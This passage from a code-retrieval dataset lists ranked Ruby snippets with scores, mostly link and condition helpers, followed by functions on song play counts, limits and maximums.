'Link'\n end", "title": "" }, { "docid": "6d1ff1ca5594a38094ab6fd855564fe0", "score": "0.5385108", "text": "def link?(value)\n value.is_a?(::Hash) &&\n value.fetch('sys', {}).fetch('type', '') == 'Link'\n end", "title": "" }, { "docid": "889c844c4bea958fe00405afaf73fdad", "score": "0.5378265", "text": "def on_order_link\n # 'https://www1.columbia.edu/sec-cgi-bin/cul/forms/inprocess?'\n valet_url = APP_CONFIG['valet_url'] || 'https://valet.cul.columbia.edu'\n in_process_link = APP_CONFIG['in_process_link'] || \"#{valet_url}/in_process/\"\n end", "title": "" }, { "docid": "73df109dedcc39852fa1b76f74fb282c", "score": "0.5374599", "text": "def is_link?\n\t\t!self.data.file? && self.custom_link.present?\n\tend", "title": "" }, { "docid": "59f02bb48042e2e35baa65bea13e849e", "score": "0.53703946", "text": "def single_use_link_request?\n return false\n end", "title": "" }, { "docid": "b1ea28fea7ebfca9dcd1873c29bcaf2c", "score": "0.53651476", "text": "def seo_link?\n false\n end", "title": "" }, { "docid": "23848af8890ca48881767c17230d4480", "score": "0.53530705", "text": "def buy_link\n if buyable?\n @item[:item][\"saleInfo\"][\"buyLink\"]\n else\n \"your book is not buyable\"\n end\n end", "title": "" }, { "docid": "30d4077aa0bf989f5d950bfd5de68e3d", "score": "0.53492105", "text": "def bootstrap_link_to_if(condition, text, link, options = {}, &block)\n bootstrap_link_to_unless !condition, text, link, options, &block\n end", "title": "" }, { "docid": "932142943f238058151afda27db9b320", "score": "0.5344418", "text": "def link_to_tracked_if(condition, name, track_path = \"/\", options = {}, html_options = {}, &block)\n raise AnalyticsError.new(\"You must set Rubaidh::GoogleAnalytics.defer_load = false to use outbound link tracking\") if GoogleAnalytics.defer_load == true\n html_options.merge!({:onclick => tracking_call(track_path)})\n link_to_unless !condition, name, options, html_options, &block\n end", "title": "" }, { "docid": "dd1920df08e0ddee53b9c23edd3e5f88", "score": "0.5335489", "text": "def evaluate_license_url\n if url\n url.to_s\n elsif license_type == 'No Creative Commons License'\n 'https://rightsstatements.org/page/InC-EDU/1.0/'\n end\n end", "title": "" }, { "docid": "66d0058daf329a48c3d6bffb9eb5ad14", "score": "0.5321624", "text": "def weblink\n respond_to?(:workPackageableThingHasWorkPackageableThingWebLink) ? workPackageableThingHasWorkPackageableThingWebLink : ''\n end", "title": "" }, { "docid": "e18d729d1d0b5677435a4d60d23072ff", "score": "0.53174645", "text": "def link?; not link.blank?; end", "title": "" }, { "docid": "aaded800b3c2029b71f8b285649721d2", "score": "0.5314559", "text": "def condition_with_formatting\n Constants::CONDITION[self.condition_id - 1][0]\n end", "title": "" }, { "docid": "7a7ec84236780814a980db8e49285de2", "score": "0.53115356", "text": "def terms_and_conditions_link\n # unit_test_no_generate: terms_and_conditions_link, a.className(create_ats_regex_string(\"ats-tandclnk\"))\n $tracer.trace(__method__)\n return ToolTag.new(a.className(create_ats_regex_string(\"ats-tandclnk\")), __method__)\n end", "title": "" }, { "docid": "1a718ede487457fdabf79c64fe41db46", "score": "0.530758", "text": "def check_condition(condition, item)\n case condition.rc_attribute\n when :author\n i = item.author[0]\n when :title\n i = item.title\n when :body\n i = item.body\n when :domain\n i = URI(item.url).host\n when :url\n i = URI(item.url)\n when :self_post\n i = item.is_self\n when :min_account_age\n i = item.author[2]\n when :min_link_karma\n i = item.author[3]\n when :min_comment_karma\n i = item.author[4]\n when :min_combined_karma\n i = (item.author[3] + item.author[4])\n end\n result = condition.test_condition(i)\n if result\n #puts condition.inspect\n perform_action(condition.rc_action, item)\n else\n #log action false or just pass\n end\n #log_action(condition, item)\nend", "title": "" }, { "docid": "2a3bcf34d0fa396add1ff4e7b4de45e2", "score": "0.52965975", "text": "def where\n if store['link'].nil?\n reply \"I don't know... Y U GUYS NOT DECIDE YET (yuno)\"\n else\n reply \"We're eating from here: #{store['link']}\"\n end\n end", "title": "" }, { "docid": "01ca242ae89d5c7dd26d129a976cb900", "score": "0.5295598", "text": "def link\n return @holding[\"link\"] if @holding[\"link\"]&.include?(\"alma.exlibrisgroup\")\n \"https://apps.lib.umich.edu/proxy-login/?url=#{@holding[\"link\"]}\"\n end", "title": "" }, { "docid": "b4bcd71d71cc4229badab42522efa85d", "score": "0.52951944", "text": "def primary_condition(alias_condition)\n CONDITIONS.find { |k, v| k == alias_condition.to_sym || v.include?(alias_condition.to_sym) }.first\n end", "title": "" }, { "docid": "b4bcd71d71cc4229badab42522efa85d", "score": "0.52951944", "text": "def primary_condition(alias_condition)\n CONDITIONS.find { |k, v| k == alias_condition.to_sym || v.include?(alias_condition.to_sym) }.first\n end", "title": "" }, { "docid": "b397684fac5f517cd81f47d55e6b8d68", "score": "0.5279667", "text": "def get_Link()\n \t return @outputs[\"Link\"]\n \tend", "title": "" }, { "docid": "79031cde8f7108972749134e201e0f9e", "score": "0.527709", "text": "def conditions\n @conditions ||= xpath_first_from_signed_assertion('/a:Conditions')\n end", "title": "" }, { "docid": "79031cde8f7108972749134e201e0f9e", "score": "0.527709", "text": "def conditions\n @conditions ||= xpath_first_from_signed_assertion('/a:Conditions')\n end", "title": "" }, { "docid": "79031cde8f7108972749134e201e0f9e", "score": "0.527709", "text": "def conditions\n @conditions ||= xpath_first_from_signed_assertion('/a:Conditions')\n end", "title": "" }, { "docid": "105cb09a9540cc280f6dcb61660f55a4", "score": "0.5277014", "text": "def restricted_link?\n @record.fulltext_link[:expires] == true\n end", "title": "" }, { "docid": "fb838d2453356786e414368e77131a4f", "score": "0.5269593", "text": "def show_extra_links?\n user.is_gold?\n end", "title": "" }, { "docid": "58aea5f50178f110badfa520ba0897ea", "score": "0.5269282", "text": "def link_to_with_timestamp_if(condition, name, options = {}, html_options = {}, &block)\n link_to_with_timestamp_unless(!condition, name, options, html_options , &block)\n end", "title": "" }, { "docid": "71ae56f3e8d0aa69fe9434f5d28774ba", "score": "0.5266784", "text": "def get_condition_string\n @value = @condition_hash[@condition]\n end", "title": "" }, { "docid": "be4a82eed676d4254ed8871909ee527f", "score": "0.526147", "text": "def type\n assert_exists\n return \"link\"\n end", "title": "" }, { "docid": "6f11d2a0c615b949d30970d7fa6ccc3c", "score": "0.52556574", "text": "def link_to_if(condition, name, options = {}, html_options = {}, *parameters_for_method_reference, &block)\n link_to_unless !condition, name, options, html_options, *parameters_for_method_reference, &block\n end", "title": "" }, { "docid": "f6ffbabe1c3333b27a29112641b98708", "score": "0.5250635", "text": "def link?\n type == LINK_TYPE\n end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.524995", "text": "def link?; end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.524995", "text": "def link?; end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.524995", "text": "def link?; end", "title": "" }, { "docid": "f4f9e1afe4dcb59f124daa8e84a0edd2", "score": "0.5243642", "text": "def show_request_access_link\n @attributes[:show_request_access_link]\n end", "title": "" }, { "docid": "f4f9e1afe4dcb59f124daa8e84a0edd2", "score": "0.5243642", "text": "def show_request_access_link\n @attributes[:show_request_access_link]\n end", "title": "" }, { "docid": "94fcff3de25a2f40acbbbc187964daa1", "score": "0.52370137", "text": "def __condition(condition)\n @__rule.conditions[condition]\n end", "title": "" }, { "docid": "18763280a9e5ef1c604070ae58b13a40", "score": "0.52359253", "text": "def condition\n return nil unless properties.has_key?('Con')\n properties['Con'].to_f\n end", "title": "" }, { "docid": "d12ef9ad26b8340db51845b0599fdcce", "score": "0.5233699", "text": "def test(link)\n true\n end", "title": "" }, { "docid": "9297c4dbd996b0ca88b1bc3357994118", "score": "0.52335227", "text": "def conditional_access_status\n return @conditional_access_status\n end", "title": "" }, { "docid": "08c97a5b625e12c4084a4487f1157119", "score": "0.5233402", "text": "def with_link\n return @params ? @params[\"withLink\"] : @api_permission.with_link\n end", "title": "" }, { "docid": "e8d4f05421872db85cc374ce1e750d95", "score": "0.5221727", "text": "def get_micr_condition\n facility.details[:micr_line_info]\n end", "title": "" }, { "docid": "1ca62cc0be3fe35bf64680379e0eefed", "score": "0.5217169", "text": "def show_hathitrust_link_if_available?(document)\n document.oclc_number.present? &&\n !document.rubenstein_record? &&\n (!document.fetch(TrlnArgon::Fields::RESOURCE_TYPE, [])\n .include?('Journal, Magazine, or Periodical') ||\n document.fetch(TrlnArgon::Fields::RESOURCE_TYPE, [])\n .include?('Government publication') ||\n document.fetch(TrlnArgon::Fields::PUBLICATION_YEAR, '9999').to_i < 1924)\n end", "title": "" }, { "docid": "f1c23bb7d5eac963718e41c4885c7fe9", "score": "0.52146775", "text": "def condition; end", "title": "" }, { "docid": "f1c23bb7d5eac963718e41c4885c7fe9", "score": "0.52146775", "text": "def condition; end", "title": "" }, { "docid": "f1c23bb7d5eac963718e41c4885c7fe9", "score": "0.52146775", "text": "def condition; end", "title": "" }, { "docid": "f1c23bb7d5eac963718e41c4885c7fe9", "score": "0.52146775", "text": "def condition; end", "title": "" }, { "docid": "ee02a57d792145329ea83b9c587d5907", "score": "0.51960945", "text": "def info_link\n return @info_link unless @info_link.nil?\n @info_link = (value & 64) != 0\n @info_link\n end", "title": "" }, { "docid": "ee02a57d792145329ea83b9c587d5907", "score": "0.51960945", "text": "def info_link\n return @info_link unless @info_link.nil?\n @info_link = (value & 64) != 0\n @info_link\n end", "title": "" }, { "docid": "08b33b605d0cf99812109bade1b58d6f", "score": "0.5194904", "text": "def web_presence(link)\n \n url = link \n unless url.blank?\n url = \"http://\" << url unless url.match(/^https?:\\/\\//)\n #link_to(url,\"#{url}\",:target => \"_blank\")\n\t return url\n end\n end", "title": "" }, { "docid": "31b1ecbdc09dc893f409ba218210ada5", "score": "0.5188354", "text": "def description_for_condition(condition)\n if condition[:authenticator] && condition[:access_rule]\n if authenticator = base.authenticators[condition[:authenticator]]\n if access_rule = authenticator.rules[condition[:access_rule]]\n access_rule[:description]\n end\n end\n else\n condition[:description]\n end\n end", "title": "" }, { "docid": "8ee9a3c0eda9ed897f59d4d161b81998", "score": "0.51843494", "text": "def condition\n @condition ||=\n Rails.configuration.try(:base_product_condition) || @product.property('condition') || 'new'\n raise SchemaError.new(\"condition\", @product) unless @condition.present?\n @condition\n end", "title": "" }, { "docid": "3bef0edbec04346da83554f1a4f97573", "score": "0.5183908", "text": "def find_link\r\n @linkable.link if @linkable.present?\r\n end", "title": "" }, { "docid": "d1e3bb29fb7e7beaa0e5466b811cb87e", "score": "0.5179335", "text": "def available_link?\n return true if (self.created_at + Spree::Config[:link_ttl].hours) >= Time.now\n end", "title": "" }, { "docid": "dc64d6b1724dcbdc8ad3989cc19ec457", "score": "0.51789343", "text": "def bw_p\n @bw_link\n end", "title": "" }, { "docid": "7824bbf01bdf2496953a108a4e70ca96", "score": "0.51755744", "text": "def conditions\n @conditions ||= begin\n REXML::XPath.first(document, \"/p:Response/a:Assertion[@ID='#{document.signed_element_id}']/a:Conditions\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\n end\n end", "title": "" }, { "docid": "c271253e315d03aa4c43bd8fff2ca157", "score": "0.5160067", "text": "def link_to_if(condition, name, options = {}, html_options = {}, &block)\n link_to_unless !condition, name, options, html_options, &block\n end", "title": "" }, { "docid": "4cc4b07d10c46a57ee413733eb06a48b", "score": "0.5156075", "text": "def CRURLDefined\n link = ProductFeatures.GetStringFeature(\n \"software\",\n \"external_sources_link\"\n )\n\n Builtins.y2debug(\"software/external_sources_link -> '%1'\", link)\n\n if link == nil || link == \"\"\n Builtins.y2milestone(\n \"No software/external_sources_link, community repos will be disabled\"\n )\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "116c680372ac49ccfb6413abde7843e5", "score": "0.515535", "text": "def links\n case\n when Rails.env == 'development'\n @link = 'lvh.me:3000'\n when Rails.env == 'production'\n #@link = 'cursatest.com'\n @link = 'cursa.me'\n when Rails.env == 'test'\n @link = 'lvh.me:3001'\n else\n @link = 'cursa.me'\n\n end\n end", "title": "" }, { "docid": "b22c95afaac66d4cb680206eb7f14566", "score": "0.5152621", "text": "def radiology_link\n var ='<a href=\"https://www.radiology.wisc.edu/a/overreads/'+rad_path+'\" target=\"_blank\">Radiology Site</a>'\n return var\n end", "title": "" }, { "docid": "95ac1de55a695b324a09baeb6b8d6def", "score": "0.51511556", "text": "def actual_condition\n return apparent if apparent == AFFLUENCE\n actual = apparent\n self.class.custom_conditions.each do |item|\n if send(item.message)\n actual = item.condition\n break\n end\n end\n\n actual\n end", "title": "" }, { "docid": "c52c1bff2535458d7a79a1346afbfeb7", "score": "0.51492035", "text": "def link_quality\n connect do\n _link_quality\n end\n end", "title": "" }, { "docid": "04ecd7ae6bd01f124a63cf53358277f8", "score": "0.514693", "text": "def condition_name\n self.class.condition_name\n end", "title": "" }, { "docid": "17cca22685f65c29f22b304124f6a29e", "score": "0.51328766", "text": "def parse_condition; end", "title": "" }, { "docid": "17cca22685f65c29f22b304124f6a29e", "score": "0.51328766", "text": "def parse_condition; end", "title": "" }, { "docid": "87e6613dac313bf207448992d5a8d0eb", "score": "0.5130773", "text": "def selected_link?(link_name)\n @selected_path[2].to_s == link_name.to_s\n end", "title": "" }, { "docid": "fd9c03d4277bd34ccc8a0db885207934", "score": "0.51299393", "text": "def get_mode_link_dev_specific_error(project)\n return_link=''\n if project == 'overdrive'\n return_link = config.mode.od_dev_url_error\n elsif project == 'cozmo'\n return_link = config.mode.cozmo_dev_url_error\n end\n end", "title": "" }, { "docid": "a19118390eee74b9c7058ab646a3d44b", "score": "0.5124531", "text": "def account_condition\n\t\tcondition = \"\"\n\t\tif account.present?\n\t\t\tcondition = \"accounts_contacts.account_id = #{account.id}\"\n\t\tend\n\t\tcondition\n\tend", "title": "" }, { "docid": "090a824aabbef546c254b402b03fbfae", "score": "0.5121985", "text": "def link_up?\n sysfs(\"carrier\") == \"1\"\n end", "title": "" } ]
96f6c049297848f258b70ec1cf7acff9
Get the high limit for a "less played" songs criteria
[ { "docid": "fbf5bef6426163060db1c22e7ac1262a", "score": "0.82317144", "text": "def get_less_played_criteria_limit\n less_played_song_count = Song.all.order(:plays).limit(1).first.plays\n return less_played_song_count * 1.05\n end", "title": "" } ]
[ { "docid": "d0898bcef356a7deda248b9585b71ad9", "score": "0.8091555", "text": "def get_most_played_criteria_limit\n most_played_song_count = Song.all.order(plays: :desc).limit(1).first.plays\n return most_played_song_count * 0.95\n end", "title": "" }, { "docid": "040807f0f28b861e2ad4f54183ef5571", "score": "0.793188", "text": "def get_popular_criteria_limits\n upper_time = Time.now.midnight + 1.day\n lower_time = upper_time - 5.day\n latest_songs = Song.where({last_played_at: (lower_time..upper_time)}).order(plays: :desc)\n lower_play_count = latest_songs.first.plays * 0-95\n\n return lower_time, upper_time, lower_play_count\n end", "title": "" }, { "docid": "be3857ae77e5af3af37c40b7f9fe427f", "score": "0.7268844", "text": "def find_most_played_songs\n find_songs_by_value_for_key('play_count', true, false) \n end", "title": "" }, { "docid": "5fb21969866dde9a523f6a25eea387f8", "score": "0.64990026", "text": "def limited?; end", "title": "" }, { "docid": "86466141ad0fce87c83c1594e29f766f", "score": "0.6425854", "text": "def high_limit\n exact_value + delta_amount\n end", "title": "" }, { "docid": "0931d52f0491a1ff5c2ea7bb24452258", "score": "0.6299081", "text": "def level_max_condition\n $game_party.total_max_level\n end", "title": "" }, { "docid": "2fd7ffd28557efdde33654de2be0b621", "score": "0.627529", "text": "def by_at_most(maximum); end", "title": "" }, { "docid": "71719045d163947df0ad5d0ff50881db", "score": "0.6247161", "text": "def time_based_max_quality\n @sell_in >= 0 ? @max_quality : 0\n end", "title": "" }, { "docid": "758d757a842765d74cc72e933444de08", "score": "0.6239063", "text": "def get_limit\n\t$limit = $jugglers.length / $circuits.length\nend", "title": "" }, { "docid": "494ffdbea961d04437c4800b9e601c4e", "score": "0.6212945", "text": "def price_limit\n # earning records do not go back far enough to compute price limit\n return 0 if historic_eps(7).nil? || ttm_eps.nil?\n\n# || historic_eps(7).to_i == 0\n\n lim = min( historic_eps(7).to_f*25, ttm_eps*20 )\n min( historic_eps(3).to_f * 15, lim ) # second criteria from page 182\n end", "title": "" }, { "docid": "592a87dca0460c1bc93c26cffffa4066", "score": "0.62011254", "text": "def stock_limit\n stock <= 0\n end", "title": "" }, { "docid": "32a63adbca94873d860143299dc2c3d8", "score": "0.6195673", "text": "def low_limit\n exact_value - delta_amount\n end", "title": "" }, { "docid": "fe4f16bd26e7ebc2c616ae0a71f7b8ee", "score": "0.6163278", "text": "def valuation_limit\n return 1000000 if historic_eps(10).nil? || ttm_eps.nil?\n if historic_eps(10).to_i == 0 # historic eps returns string!\n ret = historic_eps(3)\n if ret.to_i == 0\n return 1\n else\n return ret * 28\n end\n end\n lim = max( historic_eps(10) * 26, ttm_eps*40 )\n if historic_eps(3) == \"Do not have 3 of earnings for #{ticker}\"\n return 1000000\n end\n\n lim = max( historic_eps(3) * 28, lim ) # second criteria from page 182\n return 1000000 if lim.nil?\n return 1000000 if lim.to_i == 0\n lim.to_i\n end", "title": "" }, { "docid": "4aaf1f998ebac7c17d15c73978970134", "score": "0.61060476", "text": "def under_stock_limit?\n stocks.count < 10 \n end", "title": "" }, { "docid": "d800ddc7c0aec95c34a8626fad8191e8", "score": "0.60793686", "text": "def max_buy\n max = $game_party.max_item_number(@item) - $game_party.item_number(@item)\n available = 99\n @buy_window.price(@item).each { |p| \n math = ($game_variables[Shop_Currencies::CURRENCIES[p[0]][0]] / p[1]).floor\n available = math if available > math\n }\n return available if max >= available\n return max\n end", "title": "" }, { "docid": "4342cf61993d5fce60152f6885d47f19", "score": "0.6057095", "text": "def find_higest_score(player)\n player.maximum(:score)\n end", "title": "" }, { "docid": "d85d10427f523e5e47e61387da8e85e3", "score": "0.60453033", "text": "def limit(value); end", "title": "" }, { "docid": "445a456f41c395c8f60128f148a35af6", "score": "0.6021966", "text": "def limit\n return @limit\n end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "e30f5ad58700b669f4df7ea570b13072", "score": "0.60208213", "text": "def limit; end", "title": "" }, { "docid": "8d3a1ad00c811d10cf2f461a98374872", "score": "0.60067284", "text": "def best(limit = self.choices.length)\n cs = self.choices.reject { |c| c.hopeless? or c.overweight? or c.worthless? }\n cs.sort { |c1,c2| c2.value <=> c1.value }[0..limit]\n end", "title": "" }, { "docid": "fae8956d950e685f94abc6f0c8c7e791", "score": "0.59978694", "text": "def under_stock_limit?\n stocks.count < 10\n end", "title": "" }, { "docid": "27d73b41df8f20761bda7a775502ae4d", "score": "0.5996646", "text": "def under_stock_limit?\n stocks.count < 10\nend", "title": "" }, { "docid": "def68af4cf18224a54e0e160ed775806", "score": "0.5986864", "text": "def gifts_below_max_price\n Gift.find_by_sql([\"SELECT gifts.* FROM gifts WHERE gifts.price <= :max_price\", :max_price => self.max_price])\n end", "title": "" }, { "docid": "a649ff21da6383a52e680c1817db2d37", "score": "0.59823686", "text": "def maximum_limit\n 100\n end", "title": "" }, { "docid": "9136569cbc2c93cf61e5da5d23e28b0c", "score": "0.5970026", "text": "def calculate_limit\r\n limit = 100\r\n limit = 8000 if @options[:results].present? || @options[:days].present? || @options[:start].present? || @options[:end].present?\r\n limit = @options[:results].to_i if (@options[:results].present? && @options[:results].to_i < 8000)\r\n return limit\r\n end", "title": "" }, { "docid": "28906e7dccbdaed58740e2609b23568d", "score": "0.59335434", "text": "def sample_length_with_overflow(tick_sample_length)\n @tracks.keys.collect {|track_name| @tracks[track_name].sample_length_with_overflow(tick_sample_length) }.max || 0\n end", "title": "" }, { "docid": "d5dabae8ebffd50f1bd4a1fe90a9652b", "score": "0.5895194", "text": "def over_limit?\n @over_limit ? true : false\n end", "title": "" }, { "docid": "c901dca094d448b363525b956d79d9da", "score": "0.5889043", "text": "def max_take\n if $game_party.multi_storage[$game_variables[Storage::BOX_VAR]][@item] > $game_party.max_item_number(@item) - $game_party.item_number(@item)\n $game_party.max_item_number(@item) - $game_party.item_number(@item)\n else\n $game_party.multi_storage[$game_variables[Storage::BOX_VAR]][@item]\n end\n end", "title": "" }, { "docid": "b51bc861de63903e6e57588b1d671b84", "score": "0.5877765", "text": "def max_player_amp \n (@players.collect {|p| p.max_amp(@@al_players[p.handle].current_phrase)}).max\n end", "title": "" }, { "docid": "f5ea87ad6c8bedbdb46e0e6c941ee53a", "score": "0.5865335", "text": "def maxhp_limit\n return 999999\n end", "title": "" }, { "docid": "37684d0fbefe3688246d0dc87851507a", "score": "0.586275", "text": "def getSimilarSongs(threshold)\n toReturn = []\n for song in Song.all\n if (song != self)\n similarity = self.getSimilarity(song)\n if (similarity < threshold)\n toReturn << song\n end\n end\n end\n return toReturn\n \n scores = []\n matchingEntries = Score.find(:all, :conditions => [\"song1_id = ? AND similarity < ?\", self.id, threshold.to_s])\n for score in matchingEntries\n if (!scores.include?(score) && score.song2 != self)\n scores << score\n end\n end\n \n matchingEntries = Score.find(:all, :conditions => [\"song2_id = ? AND similarity < ?\", self.id, threshold.to_s])\n for score in matchingEntries\n if (!scores.include?(score) && score.song1 != self)\n scores << score\n end\n end\n scores.sort! { |a,b| a.similarity <=> b.similarity}\n \n toReturn = []\n for s in scores.take(250)\n if (s.song1 == self)\n toReturn << s.song2\n else\n toReturn << s.song1\n end\n end\n \n return toReturn\n end", "title": "" }, { "docid": "efff11cd00aa9818eaa8b1094d389f7d", "score": "0.5860568", "text": "def answer_limit\n case\n when free_plan?\n 30\n when light_blue_plan?\n 100\n when blue_plan?\n 100000 # 無制限だがとりあえず10万に制限しておく\n when navy_plan?\n 100000\n when ultramarine_plan?\n 100000\n else\n 0\n end\n end", "title": "" }, { "docid": "ef79ef7088acb454e0a0ad05ef5dbfcb", "score": "0.58492476", "text": "def maxhp_limit\n return 9999\n end", "title": "" }, { "docid": "cb546a8426e35d48594274461afc56e9", "score": "0.58449644", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "990da3981b523ebe4b0b1f10116157c6", "score": "0.5837411", "text": "def max_raise\n case @betting_type\n when :fl\n @betting_limit\n when :pl\n @pot\n when :nl\n :no_limit\n end\n end", "title": "" }, { "docid": "43c63f5b154adb1a048305f42c4a2c50", "score": "0.58343446", "text": "def min_limit\n [limit, operand.limit].min\n end", "title": "" }, { "docid": "35bc82f605f39e69bb28d2d3cbf5d698", "score": "0.5829924", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "c28d9bf14c93ca197242866bb6858968", "score": "0.5825596", "text": "def item_max\n return 11\n end", "title": "" }, { "docid": "0396ee652652fda44650fa612cc4789b", "score": "0.5817163", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "be8c051d34d4da91f1d2ddce9fc92456", "score": "0.5810721", "text": "def most_popular_pollen\n best_pollen = best(:pollen, :mg_total)\n\n pollens.find(best_pollen.key).name\n end", "title": "" }, { "docid": "3a1c250ea8a35b6889317a4000cd33cd", "score": "0.58047885", "text": "def item_max\n return 2\n end", "title": "" }, { "docid": "3a1c250ea8a35b6889317a4000cd33cd", "score": "0.58047885", "text": "def item_max\n return 2\n end", "title": "" }, { "docid": "29f2bc6b22b3b521732a7376532b4a50", "score": "0.5803575", "text": "def highscore\n\t\tplays = self.plays.order(\"score desc\").limit(5)\t#Orders by score in descending\n\t\treturn plays.to_a\n\tend", "title": "" }, { "docid": "2011901fa17553f8d42a2c8cc74ef72c", "score": "0.58003604", "text": "def get_max_gain\n ((get_amount * @target) - @volume - get_total_commission).round(2)\n end", "title": "" }, { "docid": "8c3f7b7ac2e9b011bbda9de4526806e2", "score": "0.5799427", "text": "def peak_loudness_dbfs\n playback_info.dig(:ebur128, :Peak) if has_audio?\n end", "title": "" }, { "docid": "9acc766bd5878b64a735e696ec01dc0b", "score": "0.5784243", "text": "def population_max\n [Cfg.player_max_population, population_cap].min\n end", "title": "" }, { "docid": "9fb49e5af002738cf18a173994043106", "score": "0.57826984", "text": "def limit\n self.class.get(\"/get/speedlimit\").to_i\n end", "title": "" }, { "docid": "2d1c605bcef0fbda24eaf99cd134d112", "score": "0.5779565", "text": "def result_limit\n if params[:limit]\n if params[:limit].to_i > 0 && params[:limit].to_i <= 10000\n params[:limit].to_i\n else\n raise OSM::APIBadUserInput, \"Note limit must be between 1 and 10000\"\n end\n else\n 100\n end\n end", "title": "" }, { "docid": "d0e10f61a160999198bf161729c95b03", "score": "0.57716125", "text": "def shopify_threshold_limit(store_id)\n ShopifyApiUsage.new(store_id).limit_exceeded? ? limits.threshold_shopify_min : limits.threshold_shopify_max\n end", "title": "" }, { "docid": "7231d2ffe8c0ed152ec3396ca294ba8b", "score": "0.57699734", "text": "def minmax( g )\n eval0(g)\n if g[\"ended\"] then\n return g[\"note\"]\n end\n maxNote = -10000\n if !g[\"firstToPlay\"] then\n maxNote = 10000\n end\n for x in (0 .. 2) do\n for y in (0 .. 2) do\n if can_move_xy(x, y, g) then\n apply_move_xy(x, y, g)\n currentNote = minmax(g)\n cancel_move_xy(x, y, g)\n # Minimum ou Maximum selon le coté ou l'on joue\n \n if currentNote > maxNote == g[\"firstToPlay\"] then\n maxNote = currentNote\n end\n end\n end\n end\n return maxNote\n end", "title": "" }, { "docid": "b87b5ebf93c87cea6df344b445ee561e", "score": "0.57661515", "text": "def best_hit(limit = nil)\n\t\t\tbh = nil\n\t\t\titems.each_value do |result|\n\t\t\t\tif ! limit.nil?\n\t\t\t\t\tnext if ! limit.include?(result.type)\n\t\t\t\tend\n\t\t\t\tch = result.best_hit\n\t\t\t\tbh = ch if bh.nil? or ch.eval < bh.eval\n\t\t\tend\n\t\t\treturn bh\n\t\tend", "title": "" }, { "docid": "511d5ad86cb4b376e096b9a7d2db2585", "score": "0.5757406", "text": "def get_limited(integer, max_user = 500, max_bot = 5000)\n if integer.is_a?(String)\n return integer if integer == 'max'\n return 500\n end\n return integer if integer <= max_user\n\n if user_bot?\n integer > max_bot ? max_bot : integer\n else\n max_user\n end\n end", "title": "" }, { "docid": "a19842049ce4967a2fe0ba9476fc46d2", "score": "0.5755456", "text": "def under_stock_limit?\n (user_stocks.count < 10)\n end", "title": "" }, { "docid": "a19842049ce4967a2fe0ba9476fc46d2", "score": "0.5755456", "text": "def under_stock_limit?\n (user_stocks.count < 10)\n end", "title": "" }, { "docid": "3237910f672d4d040d41bda2355e6636", "score": "0.575145", "text": "def check_limit\n\t\tmoney.to_f <= 1000\n\tend", "title": "" }, { "docid": "d8e5bdd729fdcb05ddd84e1f97dbd6a0", "score": "0.57352823", "text": "def max_gold\r\n return 99999999\r\n end", "title": "" }, { "docid": "968e33d92429c082b92821ebbf9146e1", "score": "0.5735144", "text": "def max_items\n @strength * 2 + 10\n end", "title": "" }, { "docid": "a6425d2fa55606e391096759ea40eb41", "score": "0.5732335", "text": "def query_limit\n if params[:limit]\n limit = params[:limit].to_i # defaults to 0\n if self.respond_to?(:allowed_limit) && !self.allowed_limit.nil?\n [limit, allowed_limit].min\n else\n limit\n end\n elsif self.respond_to?(:allowed_limit)\n self.allowed_limit\n else\n 10_000\n end\n end", "title": "" }, { "docid": "9269dd4afdcbdc2860ad54c029deecb1", "score": "0.57314134", "text": "def play_best_of_game_set\n while game.highest_player_score < best_of\n play_game\n end\n publish_winners(game.players_with_highest_score, \"game\")\n end", "title": "" }, { "docid": "b1d26ceac722689e24e205c03dc5dc30", "score": "0.5726646", "text": "def max_valence\n track = tracks.max { |a, b| a.valence <=> b.valence }\n track.valence\n end", "title": "" }, { "docid": "52e97ea4d00519778061e8f68a0a1bc2", "score": "0.57149607", "text": "def promotion_criteria\n if current_clicks.present? && allowed_clicks.present?\n unless current_clicks <= allowed_clicks\n errors[:base] << \"maximum promotion criteria achieved\"\n end\n end\n end", "title": "" }, { "docid": "91079e489950cf3788a732d9d3013c71", "score": "0.5709105", "text": "def max_players\n if status && status.include?('max-players')\n status['max-players']\n else\n 0\n end\n end", "title": "" }, { "docid": "d4ece7560e2eeeb9452a304bcad49995", "score": "0.5708461", "text": "def item_max\n return QuestData.setup_quest(sel_q_id)[:objectives].length\n end", "title": "" }, { "docid": "40522e46c2b64f56274e9138f416dd8c", "score": "0.57071465", "text": "def under_credits_limit?\n selections.sum(:credits) < 60\n end", "title": "" }, { "docid": "08960fdb4640b990e47afb6367d5df1b", "score": "0.57062536", "text": "def item_max\n Utility.quests.length || 0\n end", "title": "" }, { "docid": "32101554aa86e683b9e6ade01d2ae28a", "score": "0.5702469", "text": "def limit(limitable)\n @limits.get(limitable)\n end", "title": "" }, { "docid": "0440154adbd826a4e3999ff34d387883", "score": "0.5693937", "text": "def 